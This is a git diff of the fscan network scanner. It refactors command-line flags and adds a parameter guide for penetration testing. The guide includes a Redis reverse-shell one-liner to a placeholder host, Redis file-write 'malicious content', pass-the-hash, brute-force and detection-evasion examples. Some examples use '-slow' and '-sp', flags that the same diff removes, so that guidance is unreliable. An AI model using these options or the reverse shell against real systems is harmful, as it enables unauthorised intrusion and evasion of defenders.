diff --git a/Common/Flag.go b/Common/Flag.go index 1c918c4..5cf0093 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -22,8 +22,6 @@ var ( ModuleThreadNum int GlobalTimeout int64 - LiveTop int - UsePing bool EnableFingerprint bool AddUsers string @@ -60,9 +58,7 @@ var ( DisableSave bool Silent bool - ShowProgress bool - ShowScanPlan bool - SlowLogOutput bool + DisableProgress bool Shellcode string @@ -148,9 +144,8 @@ func Flag(Info *HostInfo) { flag.Int64Var(&Timeout, "time", 3, i18n.GetText("flag_timeout")) flag.IntVar(&ModuleThreadNum, "mt", 10, i18n.GetText("flag_module_thread_num")) flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout")) - flag.IntVar(&LiveTop, "top", 10, i18n.GetText("flag_live_top")) + // LiveTop 参数已移除,改为智能控制 flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping")) - flag.BoolVar(&UsePing, "ping", false, i18n.GetText("flag_use_ping")) flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint")) flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode")) @@ -213,11 +208,7 @@ func Flag(Info *HostInfo) { flag.BoolVar(&Silent, "silent", false, i18n.GetText("flag_silent_mode")) flag.BoolVar(&NoColor, "nocolor", false, i18n.GetText("flag_no_color")) flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level")) - flag.BoolVar(&ShowProgress, "pg", true, i18n.GetText("flag_show_progress")) - var noProgress bool - flag.BoolVar(&noProgress, "np-bar", false, i18n.GetText("flag_no_progress")) - flag.BoolVar(&ShowScanPlan, "sp", false, i18n.GetText("flag_show_scan_plan")) - flag.BoolVar(&SlowLogOutput, "slow", false, i18n.GetText("flag_slow_log_output")) + flag.BoolVar(&DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress")) // ═════════════════════════════════════════════════ // 其他参数 @@ -235,11 +226,10 @@ func Flag(Info *HostInfo) { // 设置语言 i18n.SetLanguage(Language) - // 处理进度条禁用逻辑 - if noProgress { - ShowProgress = false - } + // 更新进度条显示状态 + ShowProgress = !DisableProgress + // 如果显示帮助或者没有提供目标,显示帮助信息并退出 if showHelp || shouldShowHelp(Info) { flag.Usage() diff --git a/Common/Parse.go b/Common/Parse.go index c3a70c1..96646ff 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -474,8 +474,8 @@ func applyLogLevel() { config := &logging.LoggerConfig{ Level: level, EnableColor: !NoColor, - SlowOutput: SlowLogOutput, - ShowProgress: true, + SlowOutput: false, + ShowProgress: ShowProgress, StartTime: StartTime, LevelColors: logging.GetDefaultLevelColors(), } diff --git a/Common/common.go b/Common/common.go index 060fc8d..5186863 100644 --- a/Common/common.go +++ b/Common/common.go @@ -69,8 +69,8 @@ func getGlobalLogger() *logging.Logger { config := &logging.LoggerConfig{ Level: level, EnableColor: !NoColor, - SlowOutput: SlowLogOutput, - ShowProgress: true, + SlowOutput: false, + ShowProgress: ShowProgress, StartTime: StartTime, } globalLogger = logging.NewLogger(config) diff --git a/Common/config/Types.go b/Common/config/Types.go index cec63db..15ce5f4 100644 --- a/Common/config/Types.go +++ b/Common/config/Types.go @@ -52,9 +52,8 @@ type ScanControlConfig struct { ModuleThreadNum int `json:"module_thread_num"` // 模块内部线程数 Timeout int64 `json:"timeout"` // 单个扫描操作超时时间(秒) GlobalTimeout int64 `json:"global_timeout"` // 整体扫描超时时间(秒) - LiveTop int `json:"live_top"` // 显示的存活主机排名数量 + // LiveTop 已移除,改为智能控制 DisablePing bool `json:"disable_ping"` // 是否禁用主机存活性检测 - UsePing bool `json:"use_ping"` // 是否使用ICMP Ping检测主机存活 EnableFingerprint bool `json:"enable_fingerprint"` // 是否启用服务指纹识别 LocalMode bool `json:"local_mode"` // 是否启用本地信息收集模式 } @@ -108,9 +107,7 @@ type DisplayConfig struct { Silent bool `json:"silent"` // 是否启用静默模式 NoColor bool `json:"no_color"` // 是否禁用彩色输出 LogLevel string `json:"log_level"` // 日志输出级别 - ShowProgress bool `json:"show_progress"` // 是否显示进度条 - ShowScanPlan bool `json:"show_scan_plan"` // 是否显示扫描计划详情 - SlowLogOutput bool `json:"slow_log_output"` // 是否启用慢速日志输出 + DisableProgress bool `json:"disable_progress"` // 是否禁用进度条 Language string `json:"language"` // 界面语言设置 } diff --git a/Common/globals.go b/Common/globals.go index afb4fd8..7d3e2ab 100644 --- a/Common/globals.go +++ b/Common/globals.go @@ -70,6 +70,9 @@ var ( NoColor bool // 直接映射到base.NoColor Language string // 直接映射到base.Language LogLevel string // 直接映射到base.LogLevel + + // 进度条控制 + ShowProgress bool // 计算得出:!DisableProgress ) // ============================================================================= diff --git a/Common/i18n/messages.go b/Common/i18n/messages.go index 2d216ca..4a8a7e3 100644 --- a/Common/i18n/messages.go +++ b/Common/i18n/messages.go @@ -704,10 +704,6 @@ var coreMessages = map[string]map[string]string{ LangZH: "禁用ping探测", LangEN: "Disable ping detection", }, - "flag_use_ping": { - LangZH: "启用ping探测", - LangEN: "Enable ping detection", - }, "flag_enable_fingerprint": { LangZH: "启用指纹识别", LangEN: "Enable fingerprinting", @@ -860,22 +856,10 @@ var coreMessages = map[string]map[string]string{ LangZH: "日志级别", LangEN: "Log level", }, - "flag_show_progress": { - LangZH: "显示进度条 (默认启用)", - LangEN: "Show progress bar (enabled by default)", - }, - "flag_no_progress": { + "flag_disable_progress": { LangZH: "禁用进度条", LangEN: "Disable progress bar", }, - "flag_show_scan_plan": { - LangZH: "显示扫描计划", - LangEN: "Show scan plan", - }, - "flag_slow_log_output": { - LangZH: "慢速日志输出", - LangEN: "Slow log output", - }, "flag_shellcode": { LangZH: "Shellcode", LangEN: "Shellcode", diff --git a/Core/ICMP.go b/Core/ICMP.go index e970feb..79857f6 100644 --- a/Core/ICMP.go +++ b/Core/ICMP.go @@ -117,11 +117,30 @@ func probeWithICMP(hostslist []string, chanHosts chan string) { RunPing(hostslist, chanHosts) } +// getOptimalTopCount 根据扫描规模智能决定显示数量 +func getOptimalTopCount(totalHosts int) int { + switch { + case totalHosts > 50000: // 超大规模扫描 + return 20 + case totalHosts > 10000: // 大规模扫描 + return 15 + case totalHosts > 1000: // 中等规模扫描 + return 10 + case totalHosts > 256: // 小规模扫描 + return 5 + default: + return 3 + } +} + // printAliveStats 打印存活统计信息 func printAliveStats(hostslist []string) { + // 智能计算显示数量 + topCount := getOptimalTopCount(len(hostslist)) + // 大规模扫描时输出 /16 网段统计 if len(hostslist) > 1000 { - arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true) + arrTop, arrLen := ArrayCountValueTop(AliveHosts, topCount, true) for i := 0; i < len(arrTop); i++ { common.LogInfo(i18n.GetText("subnet_16_alive", arrTop[i], arrLen[i])) } @@ -129,7 +148,7 @@ func printAliveStats(hostslist []string) { // 输出 /24 网段统计 if len(hostslist) > 256 { - arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false) + arrTop, arrLen := ArrayCountValueTop(AliveHosts, topCount, false) for i := 0; i < len(arrTop); i++ { common.LogInfo(i18n.GetText("subnet_24_alive", arrTop[i], arrLen[i])) } diff --git a/Core/Scanner.go b/Core/Scanner.go index aac8a71..8d14612 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -9,7 +9,6 @@ import ( "strings" "sync" "sync/atomic" - "time" ) // ScanTask 表示单个扫描任务 @@ -99,10 +98,6 @@ func ExecuteScanTasks(targets []common.HostInfo, strategy ScanStrategy, ch *chan // 准备扫描任务 tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy) - // 输出扫描计划 - if common.ShowScanPlan && len(tasks) > 0 { - logScanPlan(tasks) - } // 初始化进度条 if len(tasks) > 0 && common.ShowProgress { @@ -170,8 +165,6 @@ func scheduleScanTask(pluginName string, target common.HostInfo, ch *chan struct *ch <- struct{}{} // 获取并发槽位 go func() { - startTime := time.Now() - defer func() { // 捕获并记录任何可能的panic if r := recover(); r != nil { @@ -180,11 +173,6 @@ func scheduleScanTask(pluginName string, target common.HostInfo, ch *chan struct } // 完成任务,释放资源 - duration := time.Since(startTime) - if common.ShowScanPlan { - common.LogBase(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)", - pluginName, target.Host, target.Ports, duration.Seconds())) - } wg.Done() <-*ch // 释放并发槽位 diff --git a/Core/ServiceScanner.go b/Core/ServiceScanner.go index c8216fe..be5a2d8 100644 --- a/Core/ServiceScanner.go +++ b/Core/ServiceScanner.go @@ -66,7 +66,7 @@ func (s *ServiceScanStrategy) performHostScan(hosts []string, info common.HostIn if len(hosts) > 0 || len(common.HostPort) > 0 { // 主机存活检测 if s.shouldPerformLivenessCheck(hosts) { - hosts = CheckLive(hosts, common.UsePing) + hosts = CheckLive(hosts, false) common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts))) } @@ -127,7 +127,7 @@ func (s *ServiceScanStrategy) PrepareTargets(info common.HostInfo) []common.Host if len(hosts) > 0 || len(common.HostPort) > 0 { // 主机存活检测 if s.shouldPerformLivenessCheck(hosts) { - hosts = CheckLive(hosts, common.UsePing) + hosts = CheckLive(hosts, false) } // 端口扫描 diff --git a/PARAMETERS.md b/PARAMETERS.md new file mode 100644 index 0000000..6f8a477 --- /dev/null +++ b/PARAMETERS.md @@ -0,0 +1,311 @@ +# Fscan 参数完整文档 + +> **版本**: 2.0.2 +> **更新日期**: 2025-01-06 + +## 📋 目录 + +- [目标配置参数](#目标配置参数) +- [扫描控制参数](#扫描控制参数) +- [认证与凭据参数](#认证与凭据参数) +- [Web扫描参数](#web扫描参数) +- [POC测试参数](#poc测试参数) +- [Redis利用参数](#redis利用参数) +- [暴力破解控制参数](#暴力破解控制参数) +- [输出与显示控制参数](#输出与显示控制参数) +- [其他参数](#其他参数) +- [使用示例](#使用示例) +- [最佳实践](#最佳实践) + +--- + +## 🎯 目标配置参数 + +| 参数 | 类型 | 默认值 | 描述 | 示例 | +|-----|------|-------|------|------| +| `-h` | string | - | **目标主机**: IP, IP段, 域名 | `-h 192.168.1.1` | +| `-hf` | string | - | 主机文件路径 | `-hf hosts.txt` | +| `-eh` | string | - | 排除主机列表 | `-eh 192.168.1.1,192.168.1.2` | +| `-p` | string | 常用端口 | **扫描端口**: 单个端口、范围或列表 | `-p 80,443,1-1000` | +| `-pf` | string | - | 端口文件路径 | `-pf ports.txt` | +| `-ep` | string | - | 排除端口列表 | `-ep 80,443` | + +### 端口格式说明 +- **单个端口**: `80` +- **端口列表**: `80,443,3389` +- **端口范围**: `1-1000` +- **组合使用**: `22,80,443,8080-8090` +- **默认端口组**: `21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616` + +--- + +## ⚙️ 扫描控制参数 + +| 参数 | 类型 | 默认值 | 描述 | 示例 | +|-----|------|-------|------|------| +| `-m` | string | `all` | **扫描模式**: all, portscan, tcpscan等 | `-m portscan` | +| `-t` | int | `600` | **端口扫描线程数** | `-t 1000` | +| `-time` | int | `3` | 端口扫描超时时间(秒) | `-time 5` | +| `-mt` | int | `10` | 模块线程数 | `-mt 20` | +| `-gt` | int | `180` | 全局超时时间(秒) | `-gt 300` | +| `-np` | bool | `false` | **禁用ping探测** | `-np` | +| `-fingerprint` | bool | `false` | **启用服务指纹识别** | `-fingerprint` | +| `-local` | bool | `false` | 本地扫描模式 | `-local` | + +### 扫描模式说明 +- **`all`** (默认): 完整扫描 (端口+服务+漏洞) +- **`portscan`**: 仅端口扫描 +- **`tcpscan`**: TCP端口扫描 +- **`udpscan`**: UDP端口扫描 +- **`icmp`**: ICMP存活探测 +- **自定义模式**: 可指定特定插件名称 + +--- + +## 🔐 认证与凭据参数 + +| 参数 | 类型 | 默认值 | 描述 | 示例 | +|-----|------|-------|------|------| +| `-user` | string | - | **用户名** | `-user admin` | +| `-pwd` | string | - | **密码** | `-pwd password123` | +| `-usera` | string | - | 额外用户名列表 | `-usera "admin,root,test"` | +| `-pwda` | string | - | 额外密码列表 | `-pwda "123456,password"` | +| `-userf` | string | - | 用户名字典文件 | `-userf users.txt` | +| `-pwdf` | string | - | 密码字典文件 | `-pwdf passwords.txt` | +| `-domain` | string | - | **SMB域名** | `-domain COMPANY` | +| `-hash` | string | - | 哈希值 (用于哈希传递攻击) | `-hash ntlmhash` | +| `-hashf` | string | - | 哈希文件 | `-hashf hashes.txt` | +| `-sshkey` | string | - | **SSH私钥文件路径** | `-sshkey ~/.ssh/id_rsa` | + +--- + +## 🌐 Web扫描参数 + +| 参数 | 类型 | 默认值 | 描述 | 示例 | +|-----|------|-------|------|------| +| `-u` | string | - | **目标URL** | `-u http://example.com` | +| `-uf` | string | - | URL文件 | `-uf urls.txt` | +| `-cookie` | string | - | **HTTP Cookie** | `-cookie "session=abc123"` | +| `-wt` | int | `5` | Web请求超时时间(秒) | `-wt 10` | +| `-proxy` | string | - | **HTTP代理** | `-proxy http://127.0.0.1:8080` | +| `-socks5` | string | - | **SOCKS5代理** | `-socks5 127.0.0.1:1080` | + +--- + +## 🔍 POC测试参数 + +| 参数 | 类型 | 默认值 | 描述 | 示例 | +|-----|------|-------|------|------| +| `-pocname` | string | - | **指定POC名称** | `-pocname "weblogic"` | +| `-pocpath` | string | - | **自定义POC路径** | `-pocpath ./mypocs/` | +| `-nopoc` | bool | `false` | 禁用POC扫描 | `-nopoc` | +| `-full` | bool | `false` | **全量POC扫描** | `-full` | +| `-num` | int | `20` | POC并发数 | `-num 50` | +| `-dns` | bool | `false` | DNS日志记录 | `-dns` | + +--- + +## 📡 Redis利用参数 + +| 参数 | 类型 | 默认值 | 描述 | 示例 | +|-----|------|-------|------|------| +| `-rf` | string | - | **Redis公钥文件** | `-rf ~/.ssh/id_rsa.pub` | +| `-rs` | string | - | **Redis反弹Shell** | `-rs "bash -i >&/dev/tcp/ip/port 0>&1"` | +| `-noredis` | bool | `false` | 禁用Redis扫描 | `-noredis` | +| `-rwp` | string | - | Redis写入路径 | `-rwp /tmp/` | +| `-rwc` | string | - | Redis写入内容 | `-rwc "malicious content"` | +| `-rwf` | string | - | Redis写入文件 | `-rwf ./payload.txt` | + +--- + +## 🔓 暴力破解控制参数 + +| 参数 | 类型 | 默认值 | 描述 | 示例 | +|-----|------|-------|------|------| +| `-nobr` | bool | `false` | **禁用暴力破解** | `-nobr` | +| `-retry` | int | `3` | 连接失败最大重试次数 | `-retry 5` | + +--- + +## 📤 输出与显示控制参数 + +| 参数 | 类型 | 默认值 | 描述 | 示例 | +|-----|------|-------|------|------| +| `-o` | string | `result.txt` | **输出文件路径** | `-o scan_results.txt` | +| `-f` | string | `txt` | **输出格式**: txt, json, csv | `-f json` | +| `-no` | bool | `false` | 禁用结果保存 | `-no` | +| `-silent` | bool | `false` | **静默模式** | `-silent` | +| `-nocolor` | bool | `false` | 禁用颜色输出 | `-nocolor` | +| `-log` | string | `BASE_INFO_SUCCESS` | **日志级别** | `-log ALL` | +| `-nopg` | bool | `false` | **禁用进度条** | `-nopg` | + +### 日志级别说明 +- **`ALL`**: 显示所有日志 +- **`ERROR`**: 仅显示错误 +- **`BASE`**: 基础信息 +- **`INFO`**: 详细信息 +- **`SUCCESS`**: 成功结果 +- **`DEBUG`**: 调试信息 +- **`BASE_INFO_SUCCESS`** (默认): 基础+信息+成功 + +--- + +## 🔧 其他参数 + +| 参数 | 类型 | 默认值 | 描述 | 示例 | +|-----|------|-------|------|------| +| `-sc` | string | - | **Shellcode** (用于MS17010等) | `-sc shellcode.bin` | +| `-lang` | string | `zh` | **语言设置**: zh, en | `-lang en` | +| `-help` | bool | `false` | **显示帮助信息** | `-help` | + +--- + +## 💡 使用示例 + +### 基础扫描示例 + +```bash +# 1. 基础主机扫描 +fscan.exe -h 192.168.1.1 + +# 2. 网段扫描 +fscan.exe -h 192.168.1.0/24 + +# 3. 指定端口扫描 +fscan.exe -h 192.168.1.1 -p 80,443,8080 + +# 4. 端口范围扫描 +fscan.exe -h 192.168.1.1 -p 1-1000 + +# 5. 从文件读取目标 +fscan.exe -hf targets.txt -p 80,443 +``` + +### 高级扫描示例 + +```bash +# 6. 服务指纹识别 +fscan.exe -h 192.168.1.1 -fingerprint + +# 7. 完整扫描 (包括POC) +fscan.exe -h 192.168.1.1 -full + +# 8. 静默模式扫描 +fscan.exe -h 192.168.1.1 -silent -o results.json -f json + +# 9. 高性能扫描 +fscan.exe -h 192.168.1.0/24 -t 1000 -time 1 -np + +# 10. Web应用扫描 +fscan.exe -u http://example.com -full +``` + +### 认证扫描示例 + +```bash +# 11. SMB扫描带认证 +fscan.exe -h 192.168.1.1 -user administrator -pwd password -domain COMPANY + +# 12. SSH密钥认证 +fscan.exe -h 192.168.1.1 -sshkey ~/.ssh/id_rsa + +# 13. 暴力破解扫描 +fscan.exe -h 192.168.1.1 -userf users.txt -pwdf passwords.txt + +# 14. 禁用暴力破解 +fscan.exe -h 192.168.1.1 -nobr +``` + +### 特殊用途示例 + +```bash +# 15. Redis利用 +fscan.exe -h 192.168.1.1 -rf ~/.ssh/id_rsa.pub + +# 16. 代理扫描 +fscan.exe -h 192.168.1.1 -proxy http://127.0.0.1:8080 + +# 17. 指定POC测试 +fscan.exe -h 192.168.1.1 -pocname weblogic + +# 18. 仅端口扫描 +fscan.exe -h 192.168.1.1 -m portscan +``` + +--- + +## 🏆 最佳实践 + +### 🚀 性能优化 + +```bash +# 高性能内网扫描 +fscan.exe -h 192.168.1.0/24 -t 1000 -time 1 -np -nobr + +# 快速端口发现 +fscan.exe -h target -m portscan -t 2000 -time 1 + +# 轻量级服务识别 +fscan.exe -h target -fingerprint -nobr -nopoc +``` + +### 🛡️ 隐蔽扫描 + +```bash +# 慢速扫描避免检测 +fscan.exe -h target -t 10 -time 10 -slow + +# 通过代理扫描 +fscan.exe -h target -proxy http://proxy:8080 -t 50 +``` + +### 📊 结果输出 + +```bash +# JSON格式便于处理 +fscan.exe -h target -f json -o results.json + +# 静默模式仅保存结果 +fscan.exe -h target -silent -o results.txt + +# 详细日志调试 +fscan.exe -h target -log ALL -sp +``` + +### 🎯 针对性扫描 + +```bash +# Web应用专项 +fscan.exe -u http://target -full -cookie "session=xxx" + +# 数据库专项 +fscan.exe -h target -p 1433,3306,5432,6379 -fingerprint + +# Windows主机专项 +fscan.exe -h target -p 135,139,445,3389 -domain COMPANY +``` + +--- + +## ⚠️ 注意事项 + +1. **性能调优**: + - 内网扫描可使用 `-t 1000` 提高速度 + - 互联网扫描建议 `-t 100` 避免被限制 + +2. **权限要求**: + - ICMP需要管理员权限 + - 某些端口扫描可能需要提升权限 + +3. **网络环境**: + - 防火墙可能影响扫描结果 + - 代理环境下注意配置 `-proxy` 或 `-socks5` + +4. **法律合规**: + - 仅在授权环境下使用 + - 遵守相关法律法规 + +--- + +**📞 技术支持**: [https://fscan.club](https://fscan.club) +**🐛 问题反馈**: [GitHub Issues](https://github.com/shadow1ng/fscan/issues) \ No newline at end of file